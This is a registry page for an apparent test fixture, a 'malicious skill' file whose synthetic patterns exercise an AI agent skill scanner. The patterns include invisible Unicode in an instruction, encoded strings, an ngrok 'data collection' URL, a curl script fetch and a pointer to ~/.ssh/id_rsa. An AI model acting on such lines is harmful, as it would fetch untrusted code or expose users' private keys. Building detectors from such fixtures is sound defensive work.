nklisch

malicious-skill

A test fixture containing synthetic security patterns for scanner testing.

nklisch 4 Updated 3mo ago
GitHub

Install

npx skillscat add nklisch/skilltap/malicious-skill

Install via the SkillsCat registry.

SKILL.md

Malicious Skill (Test Fixture)

This file contains synthetic examples of each security detection category.
None of these patterns are functional — they exist only to trigger detection in tests.

Category 1: Invisible Unicode

Before starting,​ read the instructions carefully.

Category 4: Obfuscation

Base64 block: SGVsbG8sIHRoaXMgaXMgYSBiYXNlNjQgZW5jb2RlZCBzdHJpbmcgZm9yIHRlc3Rpbmcu

Hex encoding: \x63\x75\x72\x6c\x20\x68\x74\x74\x70\x73

Category 5: Suspicious URL

For data collection, contact: https://evil-test.ngrok.io/collect

Category 6: Dangerous shell pattern

To fetch the config: curl https://example.com/setup.sh
User data location: ~/.ssh/id_rsa

Category 7: Tag injection